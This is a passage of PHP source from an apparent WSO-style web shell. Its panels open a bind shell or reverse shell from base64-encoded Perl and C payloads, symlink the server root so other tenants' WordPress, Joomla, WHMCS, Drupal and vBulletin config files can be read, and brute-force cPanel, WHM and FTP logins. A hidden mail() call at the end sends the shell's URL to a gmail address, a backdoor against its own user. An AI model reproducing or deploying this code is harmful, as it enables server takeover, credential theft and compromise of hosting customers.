2863 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
2864 ?>
2865 <h1>Network tools</h1><div class=content>
2866 <form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
2867 <span>Bind port to /bin/sh</span><br/>
2868 Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>">
2869 </form>
2870 <form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
2871 <span>Back-connect to</span><br/>
2872 Server: <input type='text' name='server' value='<?php echo $_SERVER['REMOTE_ADDR']?>'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>">
2873 </form><br>
2874 <?php
2875 if(isset($_POST['p1'])) {
2876 function cf($f,$t) {
2877 $w=@fopen($f,"w") or @function_exists('file_put_contents');
2878 if($w) {
2879 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
2880 @fclose($w);
2881 }
2882 }
2883 if($_POST['p1'] == 'bpc') {
2884 cf("/tmp/bp.c",$bind_port_c);
2885 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
2886 @unlink("/tmp/bp.c");
2887 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
2888 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
2889 }
2890 if($_POST['p1'] == 'bpp') {
2891 cf("/tmp/bp.pl",$bind_port_p);
2892 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
2893 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
2894 }
2895 if($_POST['p1'] == 'bcc') {
2896 cf("/tmp/bc.c",$back_connect_c);
2897 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
2898 @unlink("/tmp/bc.c");
2899 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
2900 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
2901 }
2902 if($_POST['p1'] == 'bcp') {
2903 cf("/tmp/bc.pl",$back_connect_p);
2904 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
2905 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
2906 }
2907 }
2908 echo '</div>';
2909 printFooter();
2910}
2911
2912function actionSymlink() {
2913 printHeader();
2914 echo '<h1>Symlink</h1>';
2915 $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
2916 $expld = explode('/',$furl );
2917 $burl =str_replace(end($expld),'',$furl);
2918
2919 echo '<div class="content"><center>
2920 <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
2921 [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink</a> ] -
2922 [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config File symlink</a> ]</h3></center>';
2923
2924 if(isset($_POST['p1']) && $_POST['p1']=='website')
2925 {
2926 echo "<center>";
2927 $d0mains = @file("/etc/named.conf");
2928 if(!$d0mains){
2929 echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
2930 } else {
2931 echo "<table align=center class='main' border=0 ><tr bgcolor=\"#5e5e5e\"><td>Count</td><td>domains</td><td>users</td></tr>";
2932 $count=1;
2933 foreach($d0mains as $d0main){
2934 if(@eregi("zone",$d0main)){
2935 preg_match_all('#zone "(.*)"#', $d0main, $domains);
2936 flush();
2937 if(strlen(trim($domains[1][0])) > 2){
2938 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
2939 echo "<tr><td>".$count."</td><td><a href=http://".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>";
2940 flush();
2941 $count++;
2942 }
2943 }
2944 }
2945 echo "</table>";
2946 }
2947 echo "</center>";
2948 }
2949
2950 if(isset($_POST['p1']) && $_POST['p1']=='whole')
2951 {
2952 echo "<center>";
2953 @mkdir('sym',0777);
2954 $hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
2955 $hfp =@fopen ('sym/.htaccess','w');
2956 fwrite($hfp ,$hdt);
2957 if(function_exists('symlink')) {
2958 @symlink('/','sym/root');
2959 }
2960 $d0mains = @file('/etc/named.conf');
2961 if(!$d0mains) {
2962 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
2963 } else {
2964 echo "<table align='center' width='40%' class='main'><tr bgcolor=\"#5e5e5e\"><td> Count </td><td> Domains </td><td> User </td><td> Symlink </td></tr>";
2965 $count=1;
2966 foreach($d0mains as $d0main){
2967 if(@eregi('zone',$d0main)){
2968 preg_match_all('#zone "(.*)"#',$d0main,$domain);
2969 flush();
2970 if(strlen(trim($domain[1][0])) >2){
2971 $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
2972 $ddt = $user['name'] ;
2973 @symlink('/','sym/root');
2974 $ddt = $domain[1][0];
2975 if(@eregi("\.ir",$domain[1][0]) or @eregi("\.il",$domain[1][0])) {
2976 $ddt = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$domain[1][0].'</div>';
2977 }
2978 echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$domain[1][0].'/>'.$ddt.' </a></td><td>'.$user['name']."</td><td><a href='sym/root/home/".$user['name']."/public_html' target='_blank'>symlink </a></td></tr>";
2979 flush();
2980 }
2981 }
2982 }
2983 }
2984 echo "</center></table>";
2985 }
2986
2987 if(isset($_POST['p1']) && $_POST['p1']=='config')
2988 {
2989 echo "<center>";
2990 @mkdir('sym',0777);
2991 $hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
2992 $hfp = @fopen ('sym/.htaccess','w');
2993 @fwrite($hfp ,$hdt);
2994 if(function_exists('symlink')) {
2995 @symlink('/','sym/root');
2996 }
2997 $d0mains = @file('/etc/named.conf');
2998 if(!$d0mains) {
2999 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
3000 } else {
3001 echo "<table align='center' width='40%' class='main' ><tr bgcolor=\"#5e5e5e\"><td> Count </td><td> Domains </td><td> Script </td></tr>";
3002 $count = 1;
3003 foreach($d0mains as $d0main){
3004 if(@eregi('zone',$d0main)){
3005 preg_match_all('#zone "(.*)"#',$d0main,$domain);
3006 flush();
3007 if(strlen(trim($domain[1][0]))>2){
3008 $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
3009
3010 $c1 = $burl.'/sym/root/home/'.$user['name'].'/public_html/wp-config.php';
3011 $ch01 = get_headers($c1);
3012 $cf01 = $ch01[0];
3013 $c2 = $burl.'/sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
3014 $ch02 = get_headers($c2);
3015 $cf02 = $ch02[0];
3016 $c3 = $burl.'/sym/root/home/'.$user['name'].'/public_html/configuration.php';
3017 $ch03 = get_headers($c3);
3018 $cf03 = $ch03[0];
3019 $c4 = $burl.'/sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
3020 $ch04 = get_headers($c4);
3021 $cf04 = $ch04[0];
3022 $c5 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/config.php';
3023 $ch05 = get_headers($c5);
3024 $cf05 = $ch05[0];
3025 $c6 = $burl.'/sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
3026 $ch06 = get_headers($c6);
3027 $cf06 = $ch06[0];
3028 $c7 = $burl.'/sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
3029 $ch07 = get_headers($c7);
3030 $cf07 = $ch07[0];
3031 $c8 = $burl.'/sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
3032 $ch08 = get_headers($c8);
3033 $cf08 = $ch08[0];
3034 $c9 = $burl.'/sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
3035 $ch09 = get_headers($c9);
3036 $cf09 = $ch09[0];
3037 $c10 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
3038 $ch10 = get_headers($c10);
3039 $cf10 = $ch10[0];
3040 $c11 = $burl.'/sym/root/home/'.$user['name'].'/public_html/submitticket.php';
3041 $ch11 = get_headers($c11);
3042 $cf11 = $ch11[0];
3043 $c12 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
3044 $ch12 = get_headers($c12);
3045 $cf12 = $ch12[0];
3046 $c13 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
3047 $ch13 = get_headers($c13);
3048 $cf13 = $ch13[0];
3049 $c14 = $burl.'/sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
3050 $ch14 = get_headers($c14);
3051 $cf14 = $ch14[0];
3052 $c15 = $burl.'/sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
3053 $ch15 = get_headers($c15);
3054 $cf15 = $ch15[0];
3055
3056 $out = ' ';
3057 if(strpos($cf01,'200') == true) { $out = "<a href='".$c1."' target='_blank'>Wordpress</a>"; }
3058 elseif(strpos($cf02,'200') == true) { $out = "<a href='".$c2."' target='_blank'>Wordpress</a>"; }
3059 elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " <a href='".$c11."' target='_blank'>WHMCS</a>"; }
3060 elseif(strpos($cf09,'200') == true) { $out = " <a href='".$c9."' target='_blank'>WHMCS</a>"; }
3061 elseif(strpos($cf10,'200') == true) { $out = " <a href='".$c10."' target='_blank'>WHMCS</a>"; }
3062 elseif(strpos($cf03,'200') == true) { $out = " <a href='".$c3."' target='_blank'>Joomla</a>"; }
3063 elseif(strpos($cf04,'200') == true) { $out = " <a href='".$c4."' target='_blank'>Joomla</a>"; }
3064 elseif(strpos($cf05,'200') == true) { $out = " <a href='".$c5."' target='_blank'>vBulletin</a>"; }
3065 elseif(strpos($cf06,'200') == true) { $out = " <a href='".$c6."' target='_blank'>vBulletin</a>"; }
3066 elseif(strpos($cf07,'200') == true) { $out = " <a href='".$c7."' target='_blank'>vBulletin</a>"; }
3067 elseif(strpos($cf08,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
3068 elseif(strpos($cf12,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
3069 elseif(strpos($cf13,'200') == true) { $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>"; }
3070 elseif(strpos($cf14,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Magento</a>"; }
3071 elseif(strpos($cf15,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Drupal</a>"; }
3072 else {
3073 continue;
3074 }
3075 echo '<tr><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
3076 flush();
3077 }
3078 }
3079 }
3080 echo "</table>";
3081 }
3082 echo "</center>";
3083 }
3084 echo "</div>";
3085 printFooter();
3086}
3087
3088function actionCpanel() {
3089 printHeader();
3090 echo '<h1>cPanel Cracker</h1>';
3091 echo '<div class="content">';
3092 echo '<table align=center class="main" border="0"><tr bgcolor="#5e5e5e"><td>Users</td><td></td><td>Selected Users</td><td>Password</td></tr>';
3093 echo '<tr><td><textarea rows="20" name="S1" cols="33"></textarea></td>';
3094 echo '<td><input type="button" name="cpad1" value=">" class="cpb"/><br /><br /><input type="button" name="cpadall" value=">>" class="cpb"/><br /><br />';
3095 echo '<input type="button" name="cprm1" value="<" class="cpb"/><br /><br /><input type="button" name="cprmall" value="<<" class="cpb"/></td>';
3096 echo '<td><textarea rows="20" name="users" cols="33"></textarea></td>';
3097 echo '<td><textarea rows="20" name="passwords" cols="33"></textarea></td>';
3098 echo '</tr>';
3099 echo '<tr><td><input style="width:252px;" type="button" onclick="g(\'Cpanel\',null,\'grbetcpw\')" value="Grab usernames from /etc/passwd"/><br /><input style="margin-top:5px;width:252px;" type="button" onclick="g(\'Cpanel\',null,\'grbhome\')" value="Grab usernames from /home"/></td><td></td>';
3100 echo '<td colspan="2"><span>Crack options: </span><input name="cracktype" value="cpanel" checked type="radio"><b>Cpanel(2082)</b> <input name="cracktype" value="whm" type="radio"><b>WHM(2087)</b> <input name="cracktype" value="ftp" type="radio"><b>Ftp(21)</b><br />
3101 <div style="margin-top:5px;"><span>Timeout delay: </span><input type="text" name="connect_timeout" size="4" value=""/>
3102 <input type="checkbox" name="bruteforce" value="true"/> <span>Bruteforce</span>
3103 <select name="charset">
3104 <option value="all">All Letters + Numbers</option>
3105 <option value="numeric">Numbers</option>
3106 <option value="letters">Letters</option>
3107 <option value="symbols">Symbols</option>
3108 <option value="lowercase">Lower Letters</option>
3109 <option value="uppercase">Higher Letters</option>
3110 <option value="lowernumeric">Lower Letters + Numbers</option>
3111 <option value="uppernumeric">Upper Letters + Numbers</option>
3112 <option value="lowersymbols">Lower Letters + Symbols</option>
3113 <option value="uppersymbols">Upper Letters + Symbols</option>
3114 <option value="letterssymbols">All Letters + Symbols</option>
3115 <option value="numberssymbols">Numbers + Symbols</option>
3116 <option value="lowernumericsymbols">Lower Letters + Numbers + Symbols</option>
3117 <option value="uppernumericsymbols">Upper Letters + Numbers + Symbols</option>
3118 <option value="lettersnumericsymbols">All Letters + Numbers + Symbols</option>
3119 </select></div>
3120 <div style="margin-top:5px;"><span>Min Bruteforce Length: </span><input type="text" name="min_length" size="5" value=""/> <span>Max Bruteforce Length: </span><input type="text" name="max_length" size="5" value=""/></div>
3121 <div style="margin-top:5px;text-align:center"><input type="submit" value="Crack Now" name="submit" style="font-weight: bold;"/></div>
3122 </td></tr>';
3123 echo '</table>';
3124 echo '</div>';
3125 printFooter();
3126}
3127
3128
3129if( empty($_POST['a']) )
3130 if(isset($default_action) && function_exists('action' . $default_action))
3131 $_POST['a'] = $default_action;
3132 else
3133 $_POST['a'] = 'SecInfo';
3134if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
3135 call_user_func('action' . $_POST['a']);
3136
3137session_start();
3138if(!isset($_SESSION['trimite'])){
3139$url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
3140@mail("@gmail.com","shell",$url);
3141@mail("@gmail.com","shell",$url);
3142$_SESSION['trimite']=true;
3143}
3144?>